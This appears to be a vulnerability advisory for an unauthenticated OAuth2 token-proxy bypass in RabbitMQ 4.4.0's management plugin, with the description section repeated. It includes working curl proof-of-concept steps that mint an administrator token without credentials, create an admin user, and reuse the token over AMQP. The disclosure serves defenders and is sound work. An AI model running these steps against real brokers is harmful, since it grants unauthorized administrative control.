The management plugin in RabbitMQ 4.4.0 exposes the OAuth2 token-endpoint proxy at
/js/oidc-oauth/token-endpoint/<resource-server-id> without any caller authentication.
deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl:52-55 — the token-endpoint
route is registered without an authentication context.deps/rabbitmq_management/src/rabbit_mgmt_oauth_token_proxy.erl:88-131 —
handle_token/forward_token_request read the unauthenticated request body and
forward it to the provider's token endpoint. The module does not implement the
is_authorized/3 callback that every authenticated management resource implements,
so it is reachable anonymously.inject_client_secret (lines 125-131 on v4.4.0) — the configured
management.oauth_client_secret is appended to the request body whenever the caller
did not supply one. All other caller-supplied form parameters (including scope)
are relayed verbatim.On deployments configured per the documented OAuth2 management setup, the broker acts
as a confidential OAuth2 client on behalf of any anonymous network peer. With a
permissive provider (such as the reference setups in the OAuth2 guide that grant
administrator scopes), an unauthenticated POST with grant_type=client_credentials
(or password) returns a signed JWT with attacker-chosen scope.
The minted token is accepted by the management API, and also by the AMQP 0-9-1
listener when placed in the SASL PLAIN password position
(deps/rabbitmq_auth_backend_oauth2/src/rabbit_auth_backend_oauth2.erl:433-442 reads
the token from the password property), because audience validation only resolves a
resource server and is not bound to the listening plane.
Fixed on main by PR #17937 (check_grant_type restricts relaying to
authorization_code/refresh_token); the fix ships in 4.4.1. Two related
observations from my report were triaged separately by the team (provider
responsibility for fabricated code/refresh-token relays; iss assertion on the
backlog) and are not part of this advisory.
The management plugin in RabbitMQ 4.4.0 exposes the OAuth2 token-endpoint proxy at
/js/oidc-oauth/token-endpoint/<resource-server-id> without any caller authentication.
deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl:52-55 — the token-endpoint
route is registered without an authentication context.deps/rabbitmq_management/src/rabbit_mgmt_oauth_token_proxy.erl:88-131 —
handle_token/forward_token_request read the unauthenticated request body and
forward it to the provider's token endpoint. The module does not implement the
is_authorized/3 callback that every authenticated management resource implements,
so it is reachable anonymously.inject_client_secret (lines 125-131 on v4.4.0) — the configured
management.oauth_client_secret is appended to the request body whenever the caller
did not supply one. All other caller-supplied form parameters (including scope)
are relayed verbatim.On deployments configured per the documented OAuth2 management setup, the broker acts
as a confidential OAuth2 client on behalf of any anonymous network peer. With a
permissive provider (such as the reference setups in the OAuth2 guide that grant
administrator scopes), an unauthenticated POST with grant_type=client_credentials
(or password) returns a signed JWT with attacker-chosen scope.
The minted token is accepted by the management API, and also by the AMQP 0-9-1
listener when placed in the SASL PLAIN password position
(deps/rabbitmq_auth_backend_oauth2/src/rabbit_auth_backend_oauth2.erl:433-442 reads
the token from the password property), because audience validation only resolves a
resource server and is not bound to the listening plane.
Addressed in 4.4.1. Two related
observations from my report were triaged separately by the team (provider
responsibility for fabricated code/refresh-token relays; iss assertion on the
backlog) and are not part of this advisory.
Tested on the official rabbitmq:4.4.0-management Docker image (Erlang/OTP 29.1.2).
RabbitMQ 4.4.0 with the documented OAuth2 management integration. Minimal
rabbitmq.conf shape (values per your provider):
management.oauth_enabled = true
management.oauth_client_id = my_spa_client
management.oauth_client_secret = <the confidential client secret>
management.oauth_provider_url = https://<idp-host>
management.oauth_resource_servers.1.id = rabbitmq
auth_backends.1 = oauth2
auth_oauth2.resource_servers.1.id = rabbitmq
auth_oauth2.resource_servers.1.oauth_provider_id = default
auth_oauth2.oauth_providers.default.issuer = https://<idp-host>
auth_oauth2.oauth_providers.default.jwks_uri = https://<idp-host>/jwks.json
auth_oauth2.oauth_providers.default.token_endpoint = https://<idp-host>/token
with rabbitmq_management and rabbitmq_auth_backend_oauth2 enabled, and a provider
that grants the SPA client administrator scopes (as in the guide's reference examples).
No Authorization header, no client secret:
curl -s -X POST "http://HOST:15672/js/oidc-oauth/token-endpoint/rabbitmq" \
-d "grant_type=client_credentials" -d "client_id=my_spa_client"
Response: 200 {"access_token":"eyJ...","token_type":"Bearer",...} — the
provider-side request log shows the broker injected the client secret and the request
originated from the broker.
curl -s "http://HOST:15672/api/whoami" -H "Authorization: Bearer <token>"
Response: 200 {"name":"...","tags":["administrator"],"is_internal_user":false}
curl -s -X PUT "http://HOST:15672/api/users/poc" \
-H "Authorization: Bearer <token>" -H "content-type: application/json" \
-d '{"password":"Poc12345678!","tags":"administrator"}'
Response: 201 Created.
Present the same JWT in the SASL PLAIN password position against the AMQP port
(\x00user\x00<jwt>); the handshake completes and full queue operations
(declare/publish/consume/purge/delete) succeed on any vhost.
A self-contained black-box Python PoC (standard library only; HTTP + raw AMQP 0-9-1 frames) was attached to my original email report and is available on request.
Authentication bypass (missing authentication for a critical function, CWE-306) in the management plugin's OAuth2 token-endpoint proxy.
Impacted deployments: RabbitMQ 4.4.0 instances configured per the documented
OAuth2/SSO integration for the management UI (oauth2 backend enabled, provider with a
resource server, management.oauth_client_secret set — i.e. the confidential-client
token-proxy setup). No operator misconfiguration is involved; the affected setup is
the documented one.
Impacted parties: any unauthenticated remote attacker with network access to the management port. Consequences (all verified in testing):
Suggested severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8),
acknowledging the OAuth2-setup precondition; happy for maintainers to finalize the score.
Remediation: upgrade to 4.4.1 (PR #17937). Interim mitigations: remove
management.oauth_client_secret, or place authentication in front of the management port.